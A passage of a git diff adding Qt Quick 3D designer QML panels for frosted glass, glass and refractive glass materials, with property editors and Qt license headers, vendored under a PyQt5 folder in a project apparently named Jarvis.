bands.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bumpScale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bands") + tooltip: qsTr("Set the number of the bump bands.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.bumpBands + Layout.fillWidth: true + } + } + Label { + text: qsTr("Strength") + tooltip: qsTr("Set the glass bump map strength.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.glass_bfactor + Layout.fillWidth: true + } + } + Label { + text: qsTr("Internal") + tooltip: qsTr("Specifies if the bump map be used only for the internal lighting.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.glass_binside.valueToString + backendValue: backendValues.glass_binside + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for bump map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.glass_bump_texture + defaultItem: qsTr("Default") + } + } + } + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Coordinates") + tooltip: qsTr("Sets the bump coordinates of the refraction.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Blur Size") + tooltip: qsTr("Set the amount of blurring behind the glass.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 50 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.blur_size + Layout.fillWidth: true + } + } + Label { + text: qsTr("Refract Depth") + tooltip: qsTr("Set the refract depth of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.refract_depth + Layout.fillWidth: true + } + } + Label { + text: qsTr("Fresnel Power") + tooltip: qsTr("Set the fresnel power of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uFresnelPower + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflectivity") + tooltip: qsTr("Set the reflectivity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflectivity_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.1 + minimumValue: 1.4 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.glass_ior + Layout.fillWidth: true + } + } + } + } + Section { + caption: qsTr("Band Light") + width: parent.width + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Falloff") + tooltip: qsTr("Set the light intensity falloff rate.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.intLightFall + Layout.fillWidth: true + } + } + Label { + text: qsTr("Angle") + tooltip: qsTr("Set the angle of lightsource. Band is perpendicular to this.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 360 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.intLightRot + Layout.fillWidth: true + } + } + Label { + text: qsTr("Brightness") + tooltip: qsTr("Set the brightness of the band light.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.intLightBrt + Layout.fillWidth: true + } + } + } + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Position") + tooltip: qsTr("Sets the Position of the band light in the UV space.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.intLightPos_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + } + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.intLightPos_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + Section { + caption: qsTr("Random Gradient Maps") + width: parent.width + SectionLayout { + Label { + text: qsTr("1D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient1D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("2D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient2D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("3D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient3D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("4D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient4D_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSpecifics.qml new file mode 100644 index 00000000..21b69720 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + FrostedGlassMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSection.qml new file mode 100644 index 00000000..9d9e1062 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSection.qml @@ -0,0 +1,432 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 +import StudioTheme 1.0 as StudioTheme + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Glass Color") + width: parent.width + ColorEditor { + caption: qsTr("Glass Color") + backendValue: backendValues.glass_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("Bump") + width: parent.width + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Scale") + tooltip: qsTr("Set the scale of the bump bands.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 5 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.bumpScale + Layout.fillWidth: true + } + } + Label { + text: qsTr("Bands") + tooltip: qsTr("Set the number of the bump bands.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 10 + minimumValue: 0 + decimals: 0 + backendValue: backendValues.bumpBands + Layout.fillWidth: true + } + } + } + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Coordinates") + tooltip: qsTr("Sets the bump coordinates of the refraction.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.bumpCoords_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the material roughness.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Blur Size") + tooltip: qsTr("Set the amount of blurring behind the glass.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 50 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.blur_size + Layout.fillWidth: true + } + } + Label { + text: qsTr("Fresnel Power") + tooltip: qsTr("Set the fresnel power of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uFresnelPower + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflectivity") + tooltip: qsTr("Set the reflectivity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflectivity_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.1 + minimumValue: 1.4 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.glass_ior + Layout.fillWidth: true + } + } + } + } + Section { + caption: qsTr("Noise") + width: parent.width + ColumnLayout { + width: parent.width - 16 + SectionLayout { + Label { + text: qsTr("Scale") + tooltip: qsTr("Set the noise scale.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 40 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.noiseScale + Layout.fillWidth: true + } + } + } + ColumnLayout { + width: parent.width + Label { + width: 100 + text: qsTr("Coordinates") + tooltip: qsTr("Sets the noise coordinates.") + } + + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("X") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisXColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.noiseCoords_x + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Y") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisYColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.noiseCoords_y + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + RowLayout { + spacing: materialRoot.labelSpinBoxSpacing + + Label { + text: qsTr("Z") + width: materialRoot.labelWidth + color: StudioTheme.Values.theme3DAxisZColor + } + SpinBox { + maximumValue: 10000 + minimumValue: 0 + realDragRange: 1000 + decimals: 2 + backendValue: backendValues.noiseCoords_z + Layout.fillWidth: true + Layout.minimumWidth: materialRoot.spinBoxMinimumWidth + } + } + } + } + } + + Section { + caption: qsTr("Random Gradient Maps") + width: parent.width + SectionLayout { + Label { + text: qsTr("1D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient1D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("2D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient2D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("3D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient3D_texture + defaultItem: qsTr("Default") + } + } + Label { + text: qsTr("4D") + tooltip: qsTr("Defines a texture map used to create the random bumpiness of the material.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.randomGradient4D_texture + defaultItem: qsTr("Default") + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSpecifics.qml new file mode 100644 index 00000000..b18c1ac0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/FrostedGlassSinglePassMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + FrostedGlassSinglePassMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSection.qml new file mode 100644 index 00000000..19c0515e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSection.qml @@ -0,0 +1,178 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Glass Color") + width: parent.width + ColorEditor { + caption: qsTr("Glass Color") + backendValue: backendValues.glass_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Fresnel Power") + tooltip: qsTr("Set the fresnel power of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uFresnelPower + Layout.fillWidth: true + } + } + Label { + text: qsTr("Minimum Opacity") + tooltip: qsTr("Set the minimum opacity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.uMinOpacity + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflectivity") + tooltip: qsTr("Set the reflectivity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflectivity_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.1 + minimumValue: 1.4 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.glass_ior + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSpecifics.qml new file mode 100644 index 00000000..f53b1a43 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + GlassMaterialSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSection.qml new file mode 100644 index 00000000..f5f7b282 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSection.qml @@ -0,0 +1,178 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt Quick 3D. +** +** $QT_BEGIN_LICENSE:GPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 3 or (at your option) any later version +** approved by the KDE Free Qt Foundation. The licenses are as published by +** the Free Software Foundation and appearing in the file LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + id: materialRoot + width: parent.width + + property int labelWidth: 10 + property int labelSpinBoxSpacing: 0 + property int spinBoxMinimumWidth: 120 + + Section { + caption: qsTr("Environment Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the environment map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uEnvironmentMappingEnabled.valueToString + backendValue: backendValues.uEnvironmentMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for environment map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uEnvironmentTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + Section { + caption: qsTr("Shadow Map") + width: parent.width + + SectionLayout { + Label { + text: qsTr("Enabled") + tooltip: qsTr("Specifies if the shadow map is enabled.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.uShadowMappingEnabled.valueToString + backendValue: backendValues.uShadowMappingEnabled + Layout.fillWidth: true + } + } + Label { + text: qsTr("Texture") + tooltip: qsTr("Defines a texture for shadow map.") + } + SecondColumnLayout { + IdComboBox { + typeFilter: "QtQuick3D.Texture" + Layout.fillWidth: true + backendValue: backendValues.uBakedShadowTexture_texture + defaultItem: qsTr("Default") + } + } + } + } + + + Section { + caption: qsTr("Glass Color") + width: parent.width + ColorEditor { + caption: qsTr("Glass Color") + backendValue: backendValues.glass_color + supportGradient: false + isVector3D: true + Layout.fillWidth: true + } + } + + Section { + caption: qsTr("General") + width: parent.width + SectionLayout { + Label { + text: qsTr("Fresnel Power") + tooltip: qsTr("Set the fresnel power of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 100 + minimumValue: 0 + decimals: 2 + backendValue: backendValues.uFresnelPower + Layout.fillWidth: true + } + } + Label { + text: qsTr("Roughness") + tooltip: qsTr("Set the roughness of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.roughness + Layout.fillWidth: true + } + } + Label { + text: qsTr("Reflectivity") + tooltip: qsTr("Set the reflectivity of the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 1 + minimumValue: 0 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.reflectivity_amount + Layout.fillWidth: true + } + } + Label { + text: qsTr("Index of Refraction") + tooltip: qsTr("Set the index of refraction for the material.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 2.1 + minimumValue: 1.4 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.glass_ior + Layout.fillWidth: true + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSpecifics.qml new file mode 100644 index 00000000..04684a7a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick3D/Materials/designer/GlassRefractiveMaterialSpecifics.qml @@ -0,0 +1,40 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of Qt 